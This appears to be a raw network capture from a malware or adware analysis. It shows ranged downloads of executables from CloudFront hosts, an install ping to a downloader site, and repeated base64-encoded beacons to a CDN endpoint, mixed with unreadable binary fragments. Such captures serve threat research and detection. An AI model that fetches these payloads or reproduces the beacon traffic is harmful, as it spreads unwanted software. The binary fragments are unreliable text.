%...x.:..6.%.<..K.f.SW..o..=.A...|.&.0..(.D$.eb7[9m=7}.0......km.|.
"7..K ,.8.6.Ai..6.?.....mf...8 .Rl.wj.....,..d.k...6.f.R:..4/1.=...xp.
....9r1.K..z.j.W8.....$....."..E..(.c.B.^..r.??..c.B..cfp...z........d
..-........f..bP"K.=...9lJ1...|n...;Y_r\...{.Bw.)...&[....~..7....y`[.
.r....i..!...........7C.~..../y...B....^...._.;..N....Y=.tUYU6..hX..o.
.2.9......3"..a....F....c...Q.@m..^/\H..s....!%...y...ST.{...U....a..h
}N..7.(.V...Fy.....Ufu0.g]fOd.BX/...W......P....i$.f.\..h=.1....^..erB
........a..1U....5Q.T.c...x... ......S.z......Ep...`...-E.. I......uJ[
.1.O.>..t..5.............z.........8...2Or./..&..M....V7R..........
[email protected]_....h.:e..aOd7...V.a\.J..o..TQ....t.RY..f0...R..'....4.....
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:22 GMT
Content-Range: bytes 1250000-1499999/3359008
Age: 3596
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VIUrsKPypz_2kPCpehewnDWeFpuDr8i0xdRz7FqUT86VBe_5WQfWhA==
j..8|..R......4....I.rw..*V.....X.........&.|.D'.d..)2..#...e....R0.i.
....580.n=..o....I...q.U.4.o"F.....2J.A..P...0..b..q.Rz.}....n..5.q.."
..7.....B...T...Q...Go..Z`d.E..B.G....CY...Q._Pb.A...5.[......\../W_}D
.}..-5P...=...|..%w{...........Y.T,.H..J.1..~D..f..g...|[email protected].
G.2X.*......3..fpv.]A......].{.E.X..h.Cu ^@.$&.?Z....G_.......M.q...Pv
.......aa..i9k'd....W......c....P;;.......}%...r....r...I.UE(.......N\
...VV~..c...w........>...,.l...*.4...........ye...qD......t ...>
..@........^..M.....{.....\E.z....s.e....n..1.}..^..V......:H.A.!..i|.
G'@....%........@.'#..dI..Jy`.9..'5..Fj.....F.j[..;.s...]..P...5...W..
..\.>.|f.?.............!.......|B.q...w......*..B...x,];./..m.}..kl
.L..>>\...ml&..fO.X.Ue....2....S....{.]k.Q..s.].....^..Jj..../.b
`[email protected]..>.8.={...v.A.w....(._..T..l.J...AgC.....T.....R.
.V ....IX&.!..g....Y0.......%...R..Tm.( ....AI......_.D..||.*./..<.
5....}...JC.".....J......Uq.A.-..J*..P.V...x...C7....]. ..c..-@9h..?v.
q.]d!..=...3....V.Zv.oT..c...d..q.&..rP...l:......a9;.j..........f.3..
.AC...w..E.tPS..~...[.{.,&.\.r$&......-s.......A../..l...9..[n......5.
 R<Y.q.......r..$.UH(.pw..Ob.N..Q...,W0. D{l;...j.W.^.(..)gg.?....Z
.....8R.h......4]Q.g{0q...PZE^..sL..-Zx.v......k"...e=.(?.<.m......
O0.K.aY......u.<.&.O.iX.x..=.]S..$)....q......7...h;.....f....*O...
.x....N.gP.KA..`..X.M../...........MCZ...4..........M.....h....xx.D&. 
E.\I...Kvr.nn..l.v.c.nqd..] t..!...4....]...{O..O...-jO....*.C...;h..*
<....Q.r.F\..#C...H......~.|...r...{.....2.?....?.J).........Z}
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:22 GMT
Content-Range: bytes 1750000-1999999/3359008
Age: 3597
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IjsAlGa7beuaGZRYuAQZI27IFwEWQ-SoqjyxBpyJ6VYv_CcyolOAlg==
Tu..r..S...}....8..!....*..S?}.w.T.*8.......<...P..YQ......,X......
.BWC....`.J|... .......2..y].......Ds...x..^...b..,......z..]..wx.....
<...jn.R..o......W`.....'3H9....;....4..o.I....tK.fy..C.<...g...
..[..c.).".m..)....s......Z...j....v.5. .f.oF...&S.....G.-.~.\....c..^
.B.a....p.......K`..Fe..Z|..y. ..jp........0...... ..........J7..5..x.
N......N.... ....R.....Z.b....... ..N.W.....b.p.......pe.S...1.v9..1.m
[email protected]...^2....z.@. ........B......V..2..}.<.^.R..1"....
c..W ..%4....'[email protected]..=.=.1.R...#..2
[email protected].... .W.B.f....
~..=Z...iEL...v~M...)....g.M..680....p..7.`a.....P.fVsN0.^k...h.8.qh..
.7.4........t..z...!..u.6...%..R...<..;.}Y..p....K|.........x?..,.#
:L....'O*..P.}...3d^..-?....u...L..{{.(.f.]..vptU`...../......>..3.
n7.o_....b. .GE^..i.IR.:.S....'..........q...m...._.T..l..R.....2..'..
m.....`..X....(....v1.c..........d.bm.\.........`.E;[|..%%e.m.....jUZ.
..n....! .{4t(u...<...>0G....Ub`.T......B...x.....Q..-s.{....,J^
e...1.]..56...9/4....)c.4z*~.GO%>T..5.3^....)....xvP....^40.;...J..
.!.9..G..UMx..d...a%.*.,..%8......}.V......! .`....N. s-...u.....R..1.
.......Qg.\E<..9'.....R...F..L.c..k..xq< #..ss..d.f.&..|..a..,..
IT............y...o$.&f..b.~%..TI..]@...~....|Q.'U.Z.o.{.!.K.!...<.
0......MX/...nP.R.LxL.-.wO...r.U..G.......>.......&..H.....C.-\..H.
..q...T&.5"....#m....&p.....B..,.{....,..%.4>7./...9.nf...#.P..y...
.<.H...A...fP,....J9[.......f'R...9V....LL.3.59..D...c@...].U..
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:22 GMT
Content-Range: bytes 2250000-2499999/3359008
Age: 3597
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Ymj143j3fjd9132c5QNq81b-BcFsOPmaSIQhD_fXddXV05mjzTQyIQ==
.g$.X.#..2.u&..r.Q-.......r.=..$....J.....1M.#uQ$..M.XCe..K9Jk].w\.:. 
...c.....\...........{.s.E}-o.|..KC{`..D.=.....5..S........ .c_-..yN.6
.U........4.....w....)=!.b........!.q...@.....;I.>.......7. j...n..
.cjD.cs..(.....D..........n....(.mc!..=......$.........a...CPaw,r.*...
.}.V..n...E..oW..l...b.....:o.7&.(............)...H...=.R......5..woY.
.O1..[.%1.}.. .Yq_....Q..Y.8.I.....)..WU23m....(iMJc.".8^.<.e.S.?.D
.6. ..m$K..a.....G....c.Y.......F.A.DuEP....<........x..P8.s$..0.J.
[email protected].$.|"...:..W...a....<...qq....S..,-.5O2"%-....Uah..2..
.....dJ..|Q....r..`C.,....Wp.]...S....tX;D....sP`B..]..0..Zq..SF.....&
lt;r.T.6(?..-..qK~j`...........at....{.^.....N..b....MO.M....t1..B...s
j".......Hrj.|..yj^.Fq?xJ...;..d...0h}<].R.0......p..k...w.a:.A....
{.z.AN.%?5.}...\*w|/=s....T...n.v.&...}.Z.sf0.u,Ls.....R.BS..v.$Ao$...
$.'.kh..)@....j?..2d..R....j3]x..js..nQ_EO.u..Vt..(..m.....[.0...=..xz
fa.._W.0!{.....9?..e&.....e..YB.jG<..q Fc.N..C%*......../...c..G.ab
.6.......U.C............^...vnm...8.....A..B.pF....SM......i9....7&./.
.Y.<.B...z.......|}.Y......c.M.].X...Us.ycX.....)....M}..~p....?...
.ci.....l,...<Xk..0...Q.......trr>V....P)....ci.Q.....w|rV..-g.*
&.w........>[email protected]..._(._:q..c..%..@....`.J1...N$v.W.3._?.L.
y.G....UE:...t.5..|...8}w@.....,v;a......?A...\j.>..u..kh].Rx7p....
.......&..&ic.....IAGcb[....$X..x....C....9.Ik...G%t.K6..%k!.}....zu..
..gZeS........1^X.oB....`?.a.)..k..m.b5........=J.p..Ci.....C..D(g9...
.d.......L.d.u1.. ."..x.Hakc......}h..rJ.Mm........._u6W~W.UOFS...
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:22 GMT
Content-Range: bytes 2750000-2999999/3359008
Age: 3597
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UYx9AMoJtK0rLKITS-nYbH7bnk3OCAjNpPXf20X8tjcOjLwFxaBapw==
..@Q... <.....&*[email protected]....&CJ?..,....\....j..~&P..,p..l1....ssI.
.`..b9....#....cu.....,..iWQ.....feG7..n.E,...yq..Nn....JUK..j......D.
......X.R...Q...mP.)...4.5.(....h.i...d..].c..#..q8?..K..i......,i...?
.q=...z.......w.u.#.....C1...4...O.8B..B.k...r.....G.......b..a.b4z..W
..:[email protected]#>v..P.5..8.....M.8.......p/.VZ........e}...o-R....8
Q.\...4{.3......,..{..a....R_.........B\.x..J..M...~.AB.n.#.... .....R
C..zFm...H..-.;....K.T.UR..9..=.%.6.).r0.lYw....)........y...3.......Y
...*.Gw..Z0.c......S....sX.mA.........Dt?...4....F.o4..5..V..B..5./.4.
5.)Z.7..8.m.K.a..u...$....x......p.....\.;..Qx.%.......&(q..........W 
.....1[...c.,....r.H....u..M..G.g...`..?x..<.w.YNe..]'.dWT'!...o...
..m.Kf......w.1.3 .HW;... .......{d....U .c.x...1...HS^.qc.t...]a,.<
;.TOs.Y._....d ... 2`[email protected].;..i[.1.!.'=.....q..X
z.iQ.U>.....cTr...dz...8..PK.....9.`....Qug=.0P3.~..ksUg0.....S_m..
>..6q0}.b..@<-U....{..m<........X]|..n..&.....z.~..kE..9Yy...
N..)h...{...>......F.! .:........e..|..0[H*.....R..9.W.,4(..ojz3...
q5Z........}.]...........r.......y........8........^.&.....d..1.!..u..
...... ...L.V\{. .T..6.]./......$G.Xz..](...g..U....j7.s..!..c....fHv.
..M.Rx.....G,%Z~.t.$.R..;....K..T?.:...R.'.W.z...e.... ...d.G...?k...2
......&.g..q.~....W.....yBH..]d*."..`.....>...H.."E ......p..I7...&
....[u...I;K..n..H........[}.G-d....(..4...w.#....K5..5...~HX..L) 5@`.
!^pi....z}..!*&.......=......7:h.Jv=D[...c7.5^E%.....n..adV....0i|..^}
!;..b..........'.3.......|. . .G.a.. M.....p.}.| z;).$....y..v.x0p
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=3250000-3359007
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 109008
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:24 GMT
Age: 3592
Content-Range: bytes 3250000-3359007/3359008
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: g5Y-lwp2DqoLvNDWVbggA_gZNFMqZZ-uqAvSC0PZtcicjHt38bihYA==
~....wR0sx.D..iw..z-..g.....%/....U|..s....xN.hD.'E....DvG....'O..m..b
I%.m..... e$ozE.\..........&.....J...M....6....."...U...v...z8v.3..N..
..\..isE..9...Q........'..o1"..-?..Uj....9..K.@:............z6:.[: n..
.%...i..U..-..x..........u...3.T.u<..k......a..q...A.=[..@?*r......
...K'.9.g..GU..5.}tSH.......\.......|..!r.L........?.o....k...e.4...AF
h..l"=......S..f:, 7...>z,...6..C..,.XD.`...2....x49gD.=......KU..u
..v../...'...D?.....w.4...U.Nz.$.....v..@K.......".g...&.....wCP=.W.6z
.[.........8AM...O.'...E. [email protected]&.I`...J..&(.*}a.X.-..G6.c^....m...T
W).=Qf..[....X!.nn.......X......l.....D...{q...%!,.....).L:E..b^.b.5..
..A...qU... k.....A..A..%.i...x..'........Wm.....=-.?..2s......1g&].Z.
n...T.q...z.[....C...SUQ...\..?....%D.........-./d.(.....;...2........
..x.%/..ECi%.:...4.T},1rf....... {O.B.<..... ]}.....Z...."...=....&
gt;.^.`u...g....}..].w....U.M......C.iH....~ .VQ.g#.15.Cg....G.k...|. 
C..H$.)..a...V)...*....X75NiO... ...H]....;....8...@L>....O... 1M..
...............yhG..F..=}.....1....W...A1..\.J ...x..O..(. .....'..t..
B2.m>gKp`.N`..F/..CrB8.E.^.;..h!.9.O.....m..,n..;'P..v..U...ww.R...
.$^iG...]E...ZF7A..h)'[email protected]).....|....V.J.,.H...4.X.ks.....
e.N.[......IQ.@...)...w...4.W........".e.].....8........t..#..........
giJeZ.......E..Ow..k...X......^G#b.=.w..x.2.t..................x.oKM..
d....K..UJb~...X.y..]....u.. ....V6..8.(7.........<....S......P!.A.
;.Jk......Dl^3...3.......S.v.o)j...........9...Ja\.'W.8...;#..]R...V.3
.vz..M)G.?.....X...r4........_.....5.B.B.._I.d.{..rJ ~.T...\.o....
<<< skipped >>>


GET /SetterExeV18.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d11sfnc01fj8ag.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT
Accept-Ranges: bytes
ETag: "a670962874c9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 29 Aug 2015 07:03:14 GMT
Content-Range: bytes 250000-499999/520704
Age: 3595
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: t9elTrorkELQe45-EJPx0aNGRinpYVFmx7myhF2G4sRZdDAdj13K0Q==
......Y.e...=..G..........<.G......E..8.G..}.........5..G..5T.E....
..]...tt.5..G......]..}..}.....}.;.rWj...P.E.9.t.;.rG.7....j...P.E....
..5..G..5T.E....E..5..G....M.9M.u.9E.t..M....]..E.....h..E.h..E......Y
Yh..E.h..E......YY.E...... ....}..u)....G.....j..'...Y.u..\....}..t.j.
.....Y.......U..j.j..u.........].U...}..u.............t......]..u.j..5
h.G.....E.]..........h`.C.d.5.....D$..l$..l$. [email protected].
.E......E..E.d.......M.d......Y__^[..]Q........U.....S.].VW.E...{..s.3
[email protected][email protected].
.E..C..C..E............@[email protected]{..........M.....~...~h.E..8
csm.u(.=..E..t.h..E..t........t.j..u.....E.....U..M.......E..U.9P.t.h@
gG.V........E..X......tu.f.M..]........^.....tG.!.E........{[email protected]
.................t..O...3.0.K....W..O...3.2.;....E._^[..]..O...3.0.$..
..G..O...3.0......M....I..&......U....([email protected]..}..Wt..u...i..Y..
[email protected]...............................
..............f......f......f......f......f......f..............E.....
[email protected]........
.P.c...Y..u...u..}..t..u...h..Y.M.3._..~....].U...E..H.G.].U...5H.G...
T.E...t.]...u..u..u..u..u.......3.PPPPP.........j... ....t.j.Y.)Vj....
..Vj..s...V........^.U..V.u.WV.....Y.N......u.............N. .........
.@t........".....S3....t..^....t}.F.......N..F.....^.....F......u*....
... ;.t........@;.u.W.o...Y..u.V.....Y.F.....tz.V... ..M..B....F.H.F..
.~.QRW..#........G.. .N..h...t....t.................h.G.....hG..A.
<<< skipped >>>


GET /app/ping.ashx?action=S_INSTALL&usid=1844237615-1960408961-1801674531&aff=&rnd=&v=1.0.8654.1203&url=&title=&pingtext=Files& protocol=&size=0&ref=&browser= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: VVV.ytdownloader.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:17 GMT
HTTP/1.1 200 OK..Cache-Control: private..Content-Length: 0..Server: Mi
crosoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..D
ate: Wed, 02 Sep 2015 23:21:17 GMT..



GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUQeEuJy eF9fKYX3Ti/i3YOG9SIsJmG3UfDVXG8fnVsUkXiRAgddMCaMVoLWI3pNMYIaukc1i7BWldmt6Vgk8tSuaFT9xqmWN6c2C4KGeMVjRwPcBPt3bTGsKYzKwx9v9P8/aLGgmbDczlRzySDKbWw= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMBgGShWQDHBOLQNwltuHU7XLtUlyKtO7SYPgAY8ePzFZz2k/iRtBvqTxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMCmW8V 3HOBw6zlVDGOOxKoKYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTyjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsOpo/lEjpeAlBzFcuANGYcs6QVPVP6/3bDcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9hVlevGTzNhbw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=k64GogClQtVu4D9uO/s/7B1UQSLNnmR8/lCDRYG1zoqEh7ps0SQ7EYzpbjeDHyvNqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N8klCAcYCbUzerVyaMS1AoBVcsZgjOTLBhE3YXLyWjV4CaDLwxb48ztGK5E2bFODYadaD18g5nyiRr CpnYhOgNGMSMiYn5 P9tItOK4NBqlOkFGd4jed/D9gyDbt5XPM Mb1KWNMbp442ac9bD3MadSN58qZygCScEpVXMQzDInewhsAaqZyLDqaP5RI6XgJQcxXLgDRmHLOkFT1T v92w3K GUZ6Kk1Wr1yDuA0169JkBUgi1JVfYVZXrxk8zYW8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=2fVCHF6kf8i8qFEAMB5m W159SJAR9l8nvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ5o UCJoj6Xc5WOvghCBTr/TdVMo67fxO0s IILilpWF2wn9k6QZKCZTYd0CRAC1t06pSL3ydf628klpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CTEJJ99zQJTqVYgO0yHAHEsYAqi 8bJ4kL0puLqbigJGRUEmUckfnn1T2cQ 0Xj04vcwC1MOCddFTkg3eP0fa/4= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:15 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoQ919p7AKUpMEwAaRG2pHiUu1SXIq07tJpEft3nXiccAAK9Hije/qAw rMPhJnTJCdO8HWUWvz55ssgX4HQvzDzE0H2E /K1uqPiYRVVMKy/yijAfjje/ktUzPMZleL5 Wu7K8cv9dNF9NtefOTH4Uod212AYeRmsjiTgabm 9Kynizn8eB0zlnq0NIBqfTkoTPWs1u2kyN0 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=LCnUzM5l8JKBkxMrsxJdJjWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoT0z0MUwSr51BPEhRyyBD7Az2B3hsM2vVSSWkiD 8aIWFAbDvDttaaPPt30posPzj93QiescafgJMQkn33NAlOpViA7TIcAcSxgCqL7xsniQvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10VOSDd4/R9r/g== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=KSz5qzb2KgIHmSWm27gjwzWNtO0Ims5SI FN4V15WyTCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS2rY2GIFcP99gKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYxntCYgHFts0TuXTWi43QJaYIabGyUuYcEb I75vj8o4U7zGYxFVZk5vuPkkDKInkPC8afBy6IKMEefda087tOQ TnksFA3b2toTYm7KkeYVZVK84c2M0afetatv4yryaGH0C2GRu7wN6d71n58zGwywH8WDydpuWQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=/k6kR j50tpQhScA1jb3T0YMLQerWYgKnvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ5vKyHshi0NtPyw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidRTXymTQoAnR8SJA d bWCFCPEXUvodJCF gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFSVqU1IXaHrWwEISYEO9NS7nUJRtduGvIRTkwMJcPGBdb993fUWhVM6JY0ZY0a3GiDgcOSoTWmGk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMC09xUUAqoccNCUHeR8YCF3RMhMhveZGB//nVFcIvcEaWEp0t/VLWlqBPWgrOywYH8uTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45dFGXRCXV7xf3 1FJRB3435mtBiUzskSX HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:16 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


